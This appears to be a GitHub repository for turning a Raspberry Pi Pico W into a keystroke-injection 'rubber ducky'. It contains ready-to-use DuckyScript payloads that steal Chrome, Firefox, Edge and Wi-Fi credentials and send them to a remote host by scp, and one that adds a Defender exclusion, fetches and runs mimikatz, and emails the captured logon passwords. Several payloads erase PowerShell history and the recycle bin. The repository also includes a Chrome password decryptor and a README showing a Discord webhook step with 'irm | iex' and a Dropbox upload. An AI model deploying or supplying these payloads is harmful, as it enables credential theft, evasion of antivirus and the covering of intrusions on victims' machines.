├── decrypt ├── chrome │ ├── requirements.txt │ └── decrypt_chrome_password.py └── firefox │ └── firefox_decrypt.py ├── payloads ├── prank │ └── rickroll.txt └── exfiltration │ ├── browser-credentials │ ├── Chrome.txt │ ├── firefox.txt │ └── MSEdge.txt │ ├── datacopier.txt │ ├── wifi-dump │ └── payload.txt │ └── simple-user-password-grabber.txt └── README.md /decrypt/chrome/requirements.txt: -------------------------------------------------------------------------------- 1 | sqlite=3.33.0=h2a8f88b_0 2 | pycryptodomex=3.10.1=pypi_0 3 | pywin32=227=py38he774522_1 4 | -------------------------------------------------------------------------------- /payloads/prank/rickroll.txt: -------------------------------------------------------------------------------- 1 | REM Very Simple rickroll on target device 2 | REM Functionality somewhat dependent on device internet connection, memory etc 3 | 4 | DELAY 5000 5 | GUI r 6 | DELAY 50 7 | STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ 8 | ENTER 9 | DELAY 1000 10 | DELAY 1000 11 | DELAY 1000 12 | STRING f 13 | [/CODE] 14 | -------------------------------------------------------------------------------- /payloads/exfiltration/browser-credentials/Chrome.txt: -------------------------------------------------------------------------------- 1 | REM Script to transfer Chrome encrypted password files from target device to decrypt 2 | 3 | DELAY 2000 4 | 5 | REM Open Powershell 6 | GUI r 7 | STRING powershell 8 | ENTER 9 | DELAY 500 10 | STRING cd "$env:LOCALAPPDATA\Google\Chrome\User Data" 11 | ENTER 12 | 13 | REM Send the encrypted files to remote machine over ssh using scp 14 | STRING scp "Local State" "Default\Login Data" USER@REMOTE_IP:/PATH/TO/REMOTE_MACHINE_DIR/ 15 | ENTER 16 | DELAY 300 17 | STRING SCP_PASSWORD 18 | ENTER 19 | DELAY 300 20 | STRING exit 21 | ENTER 22 | -------------------------------------------------------------------------------- /payloads/exfiltration/browser-credentials/firefox.txt: -------------------------------------------------------------------------------- 1 | REM Script to steal profile data from Firefox 2 | 3 | DEFAULT_DELAY 200 4 | DELAY 2000 5 | 6 | REM Open CMD 7 | GUI r 8 | STRING cmd 9 | ENTER 10 | 11 | DELAY 500 12 | 13 | REM cd into appdata, type command for profiles and autocomplete using TAB 14 | STRING cd %appdata% 15 | ENTER 16 | STRING cd Mozilla\Firefox\Profiles\ 17 | TAB 18 | ENTER 19 | 20 | REM Don't verify host key 21 | STRING scp -oStrictHostKeyChecking=no logins.json key4.db cert9.db USER@REMOTE_IP:/PATH/TO/DIR/ 22 | ENTER 23 | DELAY 300 24 | STRING SCP_PASSWORD 25 | ENTER 26 | -------------------------------------------------------------------------------- /payloads/exfiltration/datacopier.txt: -------------------------------------------------------------------------------- 1 | REM Written and tested by Dante Sparda 2 | REM this took a lot of digging and research. please use responsibly. 3 | REM i wrote this on a wim but of course you can filter whatever you want to the loot folder 4 | REM I used some premise i found below and modified what i needed 5 | REM https://www.mathewjbray.com/powershell/powershell-get-drive-letters-by-volume-name-and-execute-robocopy/ 6 | 7 | DELAY 1000 8 | GUI R 9 | DELAY 1000 10 | STRING powershell.exe 11 | ENTER 12 | DELAY 3000 13 | STRING cd C:\Users\$env:Username\Pictures\ 14 | ENTER 15 | STRING get-childitem -Filter *.JPG", *.PNG" -path "C:\Users\$env:Username\Pictures\" 16 | ENTER 17 | STRING Copy-Item -path "C:\Users\$env:Username\Pictures\" -include "*.JPG", "*.PNG" -Destination "C:\Windows\Temp" -Force -PassThru 18 | ENTER 19 | STRING cd C:\Windows\Temp 20 | ENTER 21 | STRING mkdir loot 22 | ENTER 23 | STRING $destinationLabel = "DUCKY" 24 | ENTER 25 | STRING $destinationLetter = Get-WmiObject -Class Win32_Volume | where {$_.Label -eq $destinationLabel} | select -expand name 26 | ENTER 27 | STRING get-childitem -Filter .jpg*, .png* -path C:\Windows\Temp | move-item -Destination "C:\Windows\Temp\loot" 28 | ENTER 29 | STRING move-item -path C:\Windows\Temp\loot -Destination $destinationLetter 30 | ENTER 31 | END 32 | -------------------------------------------------------------------------------- /payloads/exfiltration/browser-credentials/MSEdge.txt: -------------------------------------------------------------------------------- 1 | REM Script to dump Microsoft Edge saved passwords on target device 2 | 3 | DELAY 2000 4 | 5 | REM Open Powershell 6 | GUI r 7 | STRING powershell 8 | ENTER 9 | 10 | DELAY 500 11 | 12 | REM Execute command to extract saved browser passwords in Microsoft Edge 13 | STRING [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] 14 | ENTER 15 | STRING $creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() 16 | ENTER 17 | STRING foreach ($c in $creds) {$c.RetrievePassword()} 18 | ENTER 19 | STRING $creds | Format-List -Property Resource,UserName,Password | echo $creds >> $env:TMP\$env:COMPUTERNAME_$env:USERNAME.txt 20 | ENTER 21 | 22 | REM Send the file to remote machine over ssh using scp 23 | STRING scp $env:TMP\$env:COMPUTERNAME_$env:USERNAME.txt USER@REMOTE_IP:/PATH/TO/REMOTE_MACHINE_DIR/ 24 | ENTER 25 | DELAY 300 26 | STRING SCP_PASSWORD 27 | ENTER 28 | DELAY 300 29 | 30 | REM Deletes the file created from the file system and recycle bin and clears powershell history silently 31 | STRING rm $env:TEMP\$env:COMPUTERNAME_$env:USERNAME.txt -Force -ErrorAction SilentlyContinue 32 | ENTER 33 | STRING Remove-Item (Get-PSreadlineOption).HistorySavePath 34 | ENTER 35 | STRING Clear-RecycleBin -Force -ErrorAction SilentlyContinue 36 | ENTER 37 | STRING exit 38 | ENTER 39 | -------------------------------------------------------------------------------- /payloads/exfiltration/wifi-dump/payload.txt: -------------------------------------------------------------------------------- 1 | REM Script to dump saved wifi credentials on target device 2 | 3 | DELAY 2000 4 | 5 | REM Open Powershell 6 | GUI r 7 | STRING powershell 8 | ENTER 9 | 10 | DELAY 500 11 | 12 | REM Execute command to extract saved wifi credentials 13 | STRING $creds = (netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)} | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize 14 | ENTER 15 | STRING echo $creds >> $env:TMP\$env:COMPUTERNAME_$env:USERNAME.txt 16 | ENTER 17 | 18 | REM Send the file to remote machine over ssh using scp 19 | STRING scp $env:TMP\$env:COMPUTERNAME_$env:USERNAME.txt USER@REMOTE_IP:/PATH/TO/REMOTE_MACHINE_DIR/ 20 | ENTER 21 | DELAY 300 22 | STRING SCP_PASSWORD 23 | ENTER 24 | DELAY 300 25 | 26 | REM Removing trace of activity 27 | 28 | REM Deletes the file created from the file system and recycle bin and clears powershell history silently 29 | STRING rm $env:TEMP\$env:COMPUTERNAME_$env:USERNAME.txt -Force -ErrorAction SilentlyContinue 30 | ENTER 31 | STRING Remove-Item (Get-PSreadlineOption).HistorySavePath 32 | ENTER 33 | STRING Clear-RecycleBin -Force -ErrorAction SilentlyContinue 34 | ENTER 35 | STRING exit 36 | ENTER 37 | -------------------------------------------------------------------------------- /payloads/exfiltration/simple-user-password-grabber.txt: -------------------------------------------------------------------------------- 1 | REM Title: windows password grabber 2 | REM Arthor makozort, https://github.com/makozort 3 | REM Target: windows 10 (with admin access), might work with windows 7 idk 4 | REM THIS IS FOR AUTHORISED USE ON MACHINES YOU EITHER OWN OR HAVE BEEN GIVEN ACCESS TO PEN TEST, MAKOZORT IS NO LIABLE FOR ANY MISUSE OF THIS SCRIPT 5 | REM --------------set default delay based on targets computer speed, 350 is around mid range (I think) 6 | DEFAULT_DELAY 350 7 | REM -------------first delay is 1 second (you may need more) to let windows set up the "keyboard" 8 | DELAY 1000 9 | REM ------------open powershell as admin and set an exclusion path in the C:\Users path 10 | GUI r 11 | STRING powershell 12 | CTRL-SHIFT ENTER 13 | DELAY 600 14 | ALT y 15 | STRING Set-MpPreference -ExclusionPath C:\Users 16 | ENTER 17 | STRING exit 18 | ENTER 19 | REM -------------download mimikatz 20 | GUI r 21 | STRING cmd 22 | CTRL-SHIFT ENTER 23 | DELAY 600 24 | ALT y 25 | STRING powershell (new-object System.Net.WebClient).DownloadFile('LINK TO MIMIKATZ.EXE DOWNLOAD HERE','%temp%\pw.exe') 26 | ENTER 27 | REM ------------run the following mimikatz commands and print results in new txt file 28 | DELAY 4000 29 | STRING %TEMP%\pw.exe > c:\pwlog.txt & type pwlog.txt; 30 | ENTER 31 | STRING privilege::debug 32 | ENTER 33 | STRING sekurlsa::logonPasswords full 34 | ENTER 35 | STRING exit 36 | ENTER 37 | REM< --------- delete mimikatz 38 | STRING del %TEMP%\pw.exe 39 | ENTER 40 | STRING exit 41 | ENTER 42 | REM -------------email the pwlog.txt to your email 43 | GUI r 44 | STRING powershell 45 | CTRL-SHIFT ENTER 46 | DELAY 600 47 | ALT y 48 | STRING Remove-MpPreference -ExclusionPath C:\Users 49 | ENTER 50 | STRING $SMTPServer = 'smtp.gmail.com' 51 | ENTER 52 | STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) 53 | ENTER 54 | STRING $SMTPInfo.EnableSsl = $true 55 | ENTER 56 | STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@ 57 | SHIFT 2 58 | STRING gmail.com', 'PASSWORDHERE'); 59 | ENTER 60 | STRING $ReportEmail = New-Object System.Net.Mail.MailMessage 61 | ENTER 62 | STRING $ReportEmail.From = 'THE-PART-OF-YOUR-EMAIL-BEFORE-THE-@ 63 | SHIFT 2 64 | STRING gmail.com' 65 | ENTER 66 | STRING $ReportEmail.To.Add('THE-PART-OF-RECEIVERS-EMAIL-BEFORE-THE-@ 67 | SHIFT 2 68 | STRING gmail.com') 69 | ENTER 70 | STRING $ReportEmail.Subject = 'Hello from the ducky' 71 | ENTER 72 | STRING $ReportEmail.Body = 'Attached is your duck report.' 73 | ENTER 74 | STRING $ReportEmail.Attachments.Add('c:\pwlog.txt') 75 | ENTER 76 | STRING $SMTPInfo.Send($ReportEmail) 77 | ENTER 78 | DELAY 4000 79 | STRING exit 80 | ENTER 81 | REM ------cleanup time 82 | GUI r 83 | STRING powershell 84 | CTRL-SHIFT ENTER 85 | DELAY 600 86 | ALT y 87 | REM ----------delete the txt file 88 | STRING del c:\pwlog.txt 89 | ENTER 90 | REM -------remove powershell history (this probably wont be enough to remove all traces of you, this is just to prevent inital investigations 91 | STRING Remove-Item (Get-PSreadlineOption).HistorySavePath 92 | ENTER 93 | STRING exit 94 | ENTER 95 | REM ------lock the pc 96 | GUI l 97 | -------------------------------------------------------------------------------- /decrypt/chrome/decrypt_chrome_password.py: -------------------------------------------------------------------------------- 1 | #Full Credits to LimerBoy 2 | import os 3 | import re 4 | import sys 5 | import json 6 | import base64 7 | import sqlite3 8 | import win32crypt 9 | from Cryptodome.Cipher import AES 10 | import shutil 11 | import csv 12 | 13 | #GLOBAL CONSTANT 14 | CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE'])) 15 | CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE'])) 16 | 17 | def get_secret_key(): 18 | try: 19 | #(1) Get secretkey from chrome local state 20 | with open( CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f: 21 | local_state = f.read() 22 | local_state = json.loads(local_state) 23 | secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) 24 | #Remove suffix DPAPI 25 | secret_key = secret_key[5:] 26 | secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1] 27 | return secret_key 28 | except Exception as e: 29 | print("%s"%str(e)) 30 | print("[ERR] Chrome secretkey cannot be found") 31 | return None 32 | 33 | def decrypt_payload(cipher, payload): 34 | return cipher.decrypt(payload) 35 | 36 | def generate_cipher(aes_key, iv): 37 | return AES.new(aes_key, AES.MODE_GCM, iv) 38 | 39 | def decrypt_password(ciphertext, secret_key): 40 | try: 41 | #(3-a) Initialisation vector for AES decryption 42 | initialisation_vector = ciphertext[3:15] 43 | #(3-b) Get encrypted password by removing suffix bytes (last 16 bits) 44 | #Encrypted password is 192 bits 45 | encrypted_password = ciphertext[15:-16] 46 | #(4) Build the cipher to decrypt the ciphertext 47 | cipher = generate_cipher(secret_key, initialisation_vector) 48 | decrypted_pass = decrypt_payload(cipher, encrypted_password) 49 | decrypted_pass = decrypted_pass.decode() 50 | return decrypted_pass 51 | except Exception as e: 52 | print("%s"%str(e)) 53 | print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.") 54 | return "" 55 | 56 | def get_db_connection(chrome_path_login_db): 57 | try: 58 | print(chrome_path_login_db) 59 | shutil.copy2(chrome_path_login_db, "Loginvault.db") 60 | return sqlite3.connect("Loginvault.db") 61 | except Exception as e: 62 | print("%s"%str(e)) 63 | print("[ERR] Chrome database cannot be found") 64 | return None 65 | 66 | if __name__ == '__main__': 67 | try: 68 | #Create Dataframe to store passwords 69 | with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file: 70 | csv_writer = csv.writer(decrypt_password_file, delimiter=',') 71 | csv_writer.writerow(["index","url","username","password"]) 72 | #(1) Get secret key 73 | secret_key = get_secret_key() 74 | #Search user profile or default folder (this is where the encrypted login password is stored) 75 | folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None] 76 | for folder in folders: 77 | #(2) Get ciphertext from sqlite database 78 | chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder)) 79 | conn = get_db_connection(chrome_path_login_db) 80 | if(secret_key and conn): 81 | cursor = conn.cursor() 82 | cursor.execute("SELECT action_url, username_value, password_value FROM logins") 83 | for index,login in enumerate(cursor.fetchall()): 84 | url = login[0] 85 | username = login[1] 86 | ciphertext = login[2] 87 | if(url!="" and username!="" and ciphertext!=""): 88 | #(3) Filter the initialisation vector & encrypted password from ciphertext 89 | #(4) Use AES algorithm to decrypt the password 90 | decrypted_password = decrypt_password(ciphertext, secret_key) 91 | print("Sequence: %d"%(index)) 92 | print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password)) 93 | print("*"*50) 94 | #(5) Save into CSV 95 | csv_writer.writerow([index,url,username,decrypted_password]) 96 | #Close database connection 97 | cursor.close() 98 | conn.close() 99 | #Delete temp login db 100 | os.remove("Loginvault.db") 101 | except Exception as e: 102 | print("[ERR] %s"%str(e)) 103 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | I recently came across [Hak5's Rubbber Ducky](https://github.com/hak5/usbrubberducky-payloads#about-the-new-usb-rubber-ducky) USB drives and how they are capable of stealthily injecting and executing payloads within any target device and compromise them within a matter of seconds. Since I had access to a Raspberry Pi Pico W I tried to emulate this functionality with it too. 3 | 4 | The basic working of a "Rubber Ducky" boils down to when it is connected to the target device, it behaves as a USB HID such as a keyboard, mouse etc and can therefore execute keystrokes and clicks just like how a human would on a computer without raising any flags making it extremely efficient and stealthy. 5 | 6 | ## Table of contents 7 | - [Configuring the Pico W](#configuring-the-raspberry-pico-w-ducky) 8 | - [Payloads](#payloads) 9 | - [Decrypting](#decrypting-passwords) 10 | 11 | ## Configuring the Raspberry Pico W Ducky 12 | 13 | - Download the [CircuitPython]([https://circuitpython.org/](https://circuitpython.org/board/raspberry_pi_pico_w/)) configuration files. 14 | - Copy the `adafruit-circuitpython-raspberry_pi_pico_w-en_US-8.0.0.uf2` file to the root of the Pico `RPI-RP2`. The device will reboot and after a second or so, it will reconnect as `CIRCUITPY`. 15 | - Download the .zip file from the [pico-ducky quick setup guide](https://github.com/dbisu/pico-ducky/releases) from [dbisu's repo](https://github.com/dbisu/pico-ducky) and extract it. 16 | - Once the device reappears, copy the lib folder, and all the .py files into it from the extracted folder to prepare it to accept payloads. 17 | - `payloads` folder in this repo has some interesting payloads. Replace `.txt` extension with `.dd` after copying a payload into the root directory of the ducky. 18 | 19 | ### Entering Setup Mode: 20 | - To edit the payload, enter setup mode by connecting the pin 1 (GP0) to pin 3 (GND) on the pico board. This will stop the pico-ducky from injecting the payload into your own machine. The easiest way to do so is by using a jumper wire between those pins as seen below. 21 | 22 | - Be careful, if your device isn't in setup mode, the device will reboot and after half a second, the script will run. 23 | 24 | ### Resetting the Pico: 25 | - Follow these instructions if your Pico ends up in an odd state 26 | 27 | 1. Download the reset firmware from [flash_nuke.uf2](https://datasheets.raspberrypi.com/soft/flash_nuke.uf2). 28 | 2. While holding the white BOOTSEL button on the Pico, plug in the USB cable to your computer. 29 | 3. When the RPI-RP2 drive shows up on your computer, copy the `flash_nuke.uf2` file into the Pico. 30 | 4. After the device reboots, follow the install instructions [here](https://github.com/SourasishBasu/PicoW-Ducky/blob/main/README.md) 31 | 32 | # Payloads 33 | 34 | In the context of the USB Rubber Ducky, a "payload" refers to a script or a set of commands that the USB Rubber Ducky executes when it is connected to a target computer. The USB Rubber Ducky is a keystroke injection tool that emulates a keyboard and can execute pre-defined scripts to perform various tasks on a target computer. 35 | 36 | These scripts are often written in DuckyScript developed by Hak5 which consists of simple word commands to perform a variety of tasks. Some popular commands are: 37 | 38 | ### `REM` and `//` 39 | 40 | They are comments. Any line starting with them is ignored. 41 | 42 | ``` 43 | BEGINNING OF PAYLOAD 44 | 45 | REM Title: Example Payload 46 | REM Description: Opens hidden powershell and 47 | 48 | REM Command Block Explanation 49 | Command 1 50 | Command 2 51 | ``` 52 | 53 | ### `DEFAULTDELAY` and `DELAY` 54 | 55 | `DEFAULTDELAY` specifies how long (in milliseconds) to wait between **`each line of command`**. 56 | 57 | If unspecified, `DEFAULTDELAY` is 18ms. 58 | 59 | ``` 60 | DEFAULTDELAY 100 61 | // ducky will wait 100ms between each subsequent command 62 | ``` 63 | 64 | `DELAY` creates a pause in script execution. Useful for waiting for UI to catch up. 65 | 66 | ``` 67 | DELAY 1000 68 | // waits 1000 milliseconds, or 1 second 69 | ``` 70 | 71 | ### `STRING` and `STRINGLN` 72 | 73 | `STRING` types out whatever after it **`as-is`**. 74 | 75 | ``` 76 | REM Run a hidden powershell 77 | STRING powershell -windowstyle hidden 78 | ``` 79 | 80 | `STRINGLN` also presses **enter key** at the end. 81 | 82 | ### `REPEAT` 83 | 84 | Repeats the last line **`n`** times. 85 | 86 | ``` 87 | STRING Hello world 88 | REPEAT 10 89 | // types out "Hello world" 11 times (1 original + 10 repeats) 90 | ``` 91 | 92 | ### Special Keys 93 | 94 | DuckyScript also supports many special keys: 95 | 96 | ``` 97 | CTRL / RCTRL 98 | SHIFT / RSHIFT 99 | ALT / RALT 100 | ESC 101 | ENTER 102 | UP 103 | DOWN 104 | LEFT 105 | RIGHT 106 | SPACE 107 | BACKSPACE 108 | TAB 109 | CAPSLOCK 110 | 111 | F1 to F24 112 | ``` 113 | `GUI` 114 | 115 | can be used on its own to emulate the Windows key or combined with special keys: 116 | 117 | `GUI r` opens Run.exe on Windows which can be used to launch applications and open links easily. 118 | 119 | These commands should help create and understand most payload scripts. For more detailed information on DuckyScript visit Hak5's [Official DuckyScript Guide](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference). 120 | 121 | ## Types of Payloads 122 | 123 | Today the Rubber Ducky has become an essential part of many CyberSec and IT professionals' toolkits for its efficient and automation capabilities. As a result its community has designed a wide variety of interesting payloads. A huge collection of these scripts are available on Hak5's [Rubber-Ducky repo](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads) and the official Hak5 [website](https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-ducky). 124 | 125 | I have included very few example payload I found interesting mainly in the realm of credential dumping and exfiltration of user information from target device. 126 | 127 | ### Exfiltration 128 | 129 | Exfiltration refers to extracting and transferring information from the target device to attacker via some means. 130 | 131 | #### Transfer via SSH 132 | 133 | I used OpenSSH service and the `scp` command to send the files from the target device to a SSH server on my device. 134 | 135 | To turn your Windows 10/11 device into a SSH Server capable of receiving data via `scp`: 136 | 137 | - Install OpenSSH Server from Optional Features in Windows 11 138 | - Ensure it is installed by running this command in Powershell 6 or higher: 139 | 140 | ``` 141 | Get-WindowsCapability -Online | ? Name -like 'OpenSSH.Server*' 142 | 143 | Expected Output: 144 | Name : OpenSSH.Server~~~~0.0.1.0 145 | State : Installed 146 | ``` 147 | 148 | - Check the status of ssh-agent and sshd services using the PowerShell Get-Service command: 149 | 150 | ``` 151 | Get-Service -Name *ssh* 152 | ``` 153 | 154 | - By default, both services are stopped. Run the following commands to start OpenSSH services: 155 | 156 | ``` 157 | Start-Service sshd 158 | 159 | Set-Service -Name sshd -StartupType 'Manual' 160 | 161 | Start-Service ssh-agent 162 | 163 | Set-Service -Name ssh-agent -StartupType 'Manual' 164 | ``` 165 | 166 | This will run the SSH service until the device is shut down. 167 | 168 | - Check if sshd service is running and listening on port TCP/22(default): 169 | 170 | ``` 171 | netstat -nao | find /i '":22"' 172 | ``` 173 | 174 | - After ensuring ssh service is running, `scp` command can be used to send files/folders into the device from a remote machine using: 175 | 176 | ``` 177 | scp /dir/file1 /dir/file2 remote_username@remote_IP /remote_dir/folder/ 178 | ``` 179 | 180 | For an in depth explanation of the SSH service and installation/troubleshooting process refer to this [article](https://theitbros.com/ssh-into-windows/). 181 | 182 | #### Upload via Dropbox API 183 | - After verifying Internet Connection, files can be uploaded to Dropbox by using the Dropbox API token and including it in the script. This ensures no file traces exists in the target device. Below is a powershell script that uploads a specified file from the device's %temp% folder to Dropbox using its API. 184 | 185 | ``` 186 | $TargetFilePath="/$FileName" 187 | $SourceFilePath="$env:TMP\$FileName" 188 | $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' 189 | $authorization = "Bearer " + $DropBoxAccessToken 190 | $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" 191 | $headers.Add("Authorization", $authorization) 192 | $headers.Add("Dropbox-API-Arg", $arg) 193 | $headers.Add("Content-Type", 'application/octet-stream') 194 | Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers 195 | ``` 196 | 197 | #### Upload to Discord channel via a discord webhook 198 | 199 | ``` 200 | STRING powershell -w h -ep bypass $discord=' 201 | 202 | REM REQUIRED - Provide Discord Webhook - https://discordapp.com/api/webhooks// 203 | DEFINE DISCORD example.com 204 | STRING DISCORD 205 | 206 | REM Reply example.com with YOUR LINK. The Payload should be a .ps1 script 207 | STRINGLN ';irm PAYLOAD | iex 208 | ``` 209 | 210 | #### Send file to Ducky-Pico Storage 211 | - Files may also be stored onto the physical HID pico-ducky storage itself by checking the drive letter assigned to it in the target device file system and copying the files into the drive root directory. 212 | 213 | ``` 214 | STRING $destinationLabel = "RPI-RP2" 215 | ENTER 216 | STRING $destinationLetter = Get-WmiObject -Class Win32_Volume | where {$_.Label -eq $destinationLabel} | select -expand name 217 | ENTER 218 | STRING move-item -Path C:\Windows\Temp\loot -Destination $destinationLetter 219 | ENTER 220 | ``` 221 | 222 | Some more interesting payloads 223 | - [Ducky KeyLogger](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/credentials/DuckyLogger) 224 | - [Persistent ReverseShell Ducky](https://github.com/drapl0n/persistentReverseDucky/tree/main) 225 | - [Mimikatz](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa) is an extremely powerful tool used within some payloads which is capable of extracting Windows user login credentials, hashes, keys, pin codes, tickets from the memory of `LSASS` (Local Security Authority Subsystem Service). 226 | - The [P4wnP1](https://github.com/RoganDawes/P4wnP1) repository consists of several payloads/scripts for a USB attack platform based on Raspberry Pi Zero or Pi Zero W which may be modified to work with the Pico devices as well. 227 | 228 | # Decrypting Passwords 229 | 230 | Certain payloads are capable of extracting user credentials from the device storage/memory etc by performing very specific attacks. Often these credentials are extracted in the form of excrypted hashes but it is still possible to decrypt and reveal the plaintext login credentials from them via python scripts for example saved browser credentials. 231 | 232 | ## Firefox 233 | **Firefox Decrypt** is a tool to extract passwords from profiles of Mozilla (Fire/Water)fox™, Thunderbird®, SeaMonkey® and derivates. 234 | 235 | It can be used to recover passwords from a profile protected by a Master Password as long as the latter is known. 236 | If a profile is not protected by a Master Password, passwords are displayed without prompt. 237 | 238 | It requires access to `libnss3`, included with most Mozilla products. 239 | 240 | Alternatively, you can install libnss3 (Debian/Ubuntu) or nss (Arch/Gentoo/…). libnss3 is part of https://developer.mozilla.org/docs/Mozilla/Projects/NSS. 241 | 242 | ### Usage 243 | 244 | Run: 245 | 246 | ``` 247 | python firefox_decrypt.py 248 | ``` 249 | 250 | Then, a prompt to enter the *master password* for the profile: 251 | 252 | - if no password was set, no master password will be asked. 253 | - if a password was set and is known, enter it and hit key Return or Enter 254 | - if a password was set and is no longer known, you can not proceed 255 | 256 | If you don't want to display all passwords on the screen you can use: 257 | 258 | ``` 259 | python firefox_decrypt.py | grep -C2 keyword 260 | ``` 261 | where `keyword` is part of the expected output (URL, username, email, password …) 262 | 263 | You can also choose from one of the supported formats with `--format`: 264 | 265 | * `human` - a format displaying one record for every 3 lines 266 | * `csv` - a spreadsheet-like format. See also `--csv-*` options for additional control. 267 | * `tabular` - similar to csv but producing a tab-delimited (`tsv`) file instead. 268 | * `json` - a machine compatible format - see [JSON](https://en.wikipedia.org/wiki/JSON) 269 | 270 | ##### Non-interactive mode 271 | 272 | A non-interactive mode which bypasses all prompts, including profile choice and master password, can be enabled with `-n/--no-interactive`. 273 | 274 | You can list all available profiles with `-l/--list` (to stdout). 275 | 276 | Your master password is read from stdin. 277 | 278 | $ python firefox_decrypt.py --list 279 | 1 -> l1u1xh65.default 280 | 281 | $ read -sp "Master Password: " PASSWORD 282 | Master Password: 283 | 284 | $ echo $PASSWORD | python firefox_decrypt.py --no-interactive --choice 4 285 | Website: https://login.example.com 286 | Username: 'john.doe' 287 | Password: '1n53cur3' 288 | 289 | Website: https://example.org 290 | Username: 'max.mustermann' 291 | Password: 'Passwort1234' 292 | 293 | Website: https://github.com 294 | Username: 'octocat' 295 | Password: 'qJZo6FduRcHw' 296 | 297 | [...snip...] 298 | 299 | $ echo $PASSWORD | python firefox_decrypt.py -nc 1 300 | Website: https://git-scm.com 301 | Username: 'foo' 302 | Password: 'bar' 303 | 304 | Website: https://gitlab.com 305 | Username: 'whatdoesthefoxsay' 306 | Password: 'w00fw00f' 307 | 308 | [...snip...] 309 | 310 | $ # Unset Password 311 | $ PASSWORD= 312 | 313 | ##### Format CSV 314 | 315 | Passwords may be exported in CSV format using the `--format` flag. 316 | 317 | ``` 318 | python firefox_decrypt.py --format csv 319 | ``` 320 | 321 | ##### Non fatal password decryption 322 | 323 | By default, encountering a corrupted username or password will abort decryption. 324 | Since version `1.1.0` there is now `--non-fatal-decryption` that tolerates individual failures. 325 | 326 | $ python firefox_decrypt.py --non-fatal-decryption 327 | (...) 328 | Website: https://github.com 329 | Username: '*** decryption failed ***' 330 | Password: '*** decryption failed ***' 331 | 332 | which can also be combined with any of the above `--format` options. 333 | 334 | #### Windows 335 | 336 | Both Python and Firefox must be either 32-bit or 64-bit. 337 | 338 | `cmd.exe` is not supported due to it's poor UTF-8 support. 339 | Use [Microsoft Terminal](https://github.com/microsoft/terminal) and install [UTF-8 compatible fonts](https://www.google.com/get/noto/). 340 | Depending on the Terminal settings, the Windows version and the language of your system, 341 | you may also need to force Python to run in `UTF-8` mode with `PYTHONUTF8=1 python firefox_decrypt.py`. 342 | 343 | Firefox is a trademark of the Mozilla Foundation in the U.S. and other countries. 344 | 345 | ### Further Reading 346 | I have covered only the minimum information needed to use this tool. 347 | 348 | - Check out the [Firefox Decrypt tool](https://github.com/unode/firefox_decrypt) from [unode](https://github.com/unode) to learn more about this interesting tool. 349 | 350 | - Refer to this [Medium](https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016) article from [ohyicong](https://github.com/ohyicong) to understand the working behind the decrypting process. 351 | 352 | ## Chrome 353 | 354 | ### Usage 355 | 356 | Run: 357 | 358 | ``` 359 | python decrypt_chrome_password.py 360 | ``` 361 | 362 | ### Working 363 | 364 | Refer to this [Medium article](https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d) from [ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords) to understand how the decrypting process works. 365 | 366 |

Legal

367 | 368 | Payloads from this repository are provided for educational purposes only. Hak5 gear and similar devices are intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. I, Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use. 369 | 370 | USB Rubber Ducky and DuckyScript are the trademarks of Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means without prior written permission from the copyright owner. 371 | USB Rubber Ducky and DuckyScript are subject to the [Hak5 license agreement](https://hak5.org/license) 372 | DuckyScript is the intellectual property of Hak5 LLC for the sole benefit of Hak5 LLC and its licensees. To inquire about obtaining a license to use this material in your own project, contact us. Please report counterfeits and brand abuse to legal@hak5.org. 373 | This material is for education, authorized auditing and analysis purposes where permitted subject to local and international laws. Users are solely responsible for compliance. Hak5 LLC claims no responsibility for unauthorized or unlawful use. 374 | Hak5 LLC products and technology are only available to BIS recognized license exception ENC favorable treatment countries pursuant to US 15 CFR Supplement No 3 to Part 740. 375 | 376 | See also: 377 | 378 | [Hak5 Software License Agreement](https://shop.hak5.org/pages/software-license-agreement) 379 | 380 | [Terms of Service](https://shop.hak5.org/pages/terms-of-service) 381 | 382 | # Disclaimer 383 |

As with any script, you are advised to proceed with caution.

384 |

